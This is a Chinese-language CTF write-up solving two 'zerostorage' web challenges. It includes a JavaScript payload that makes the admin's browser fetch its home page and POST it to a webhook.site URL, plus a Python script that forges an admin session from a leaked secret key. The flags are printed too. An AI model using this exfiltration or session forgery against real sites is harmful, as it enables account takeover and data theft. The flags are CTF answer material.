---
# System prepended metadata

title: Final CTF
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# Final CTF

## zerostorage FLAG_A
這題的思路很簡單，由於我們可以看見friend上傳的檔案，所以就只要把admin變成friend，讓他回傳home的內容我們就能看到檔名了，步驟如下。
* report給admin一個網址，讓他發friend邀請給我
    * 然後雖然server上有寫friend的request是怎送的，但我為了怕我是智障還是特別用BurpSuite抓了一次
    ![](https://i.imgur.com/Ax8if4M.png)
    * 所以要送的網址就是`http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=ground_pound`
* 自己寫一個CSRF的script上傳到去後report給admin
    * 寫個scirpt讓admin回傳home page到webhook上面
* 最後抓到檔名後，打開那個note就得出flag了
    * 檔名`maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt`

Script
```javascript   
fetch('http://zero-storage-eof-ctf.csie.org:1310/home')
  .then(function(response) {
    return response.text();
  })
  .then(function(res_text) {
    fetch("https://webhook.site/eb5fa68f-ee9c-44d2-af0f-1a46e9094c7f", {
        body: res_text,
        headers: {
          'user-agent': 'Mozilla/4.0',
          'content-type': 'application/text'
        },
        method: 'POST',
        mode: 'no-cors',
      })
  });
```

FLAG：
```
FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......}
```
## zerostorage FLAG_B
這一題比賽時沒寫出來，但思路基本是對的，就是沒找對偽造SESSION的簽章，後來才看到server.py裡就有給這個session的相關code...

這題基本就是要讓admin到debug_user頁面裡面看密碼，但要進去需要讓dubug設為True，所以直接report給admin debug_user的網址是行不通的，所以只能自己偽造成admin的session，然後自己把dubug設為True才能看到，而這題你如果輸入一個不存在的page的話，會把很多資訊給dump出來，裡面就包含了偽造session用的到的key。
* key: ``'Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B'``
* 偽造的session: `'{"id": 0, "filenames": [], "debug": "True"}'`

偽造session的部分
```python
from base64 import b64decode, b64encode
import itsdangerous

sess = '{"id": 0, "filenames": [], "debug": "True"}'
secret_key = 'Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B'
signer = itsdangerous.TimestampSigner(str(secret_key))
data = b64encode(sess.encode("utf-8"))
data = signer.sign(data)
print(data)
```
上面的步驟都做完後，把session複製上去按F5就能成功解出這題，最後再提一下我一開始沒注意看的時候以為是flask session，所以就去找了能偽造出flask session的code，就一輩子都沒解出來......

FLAG：
```
FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?}
```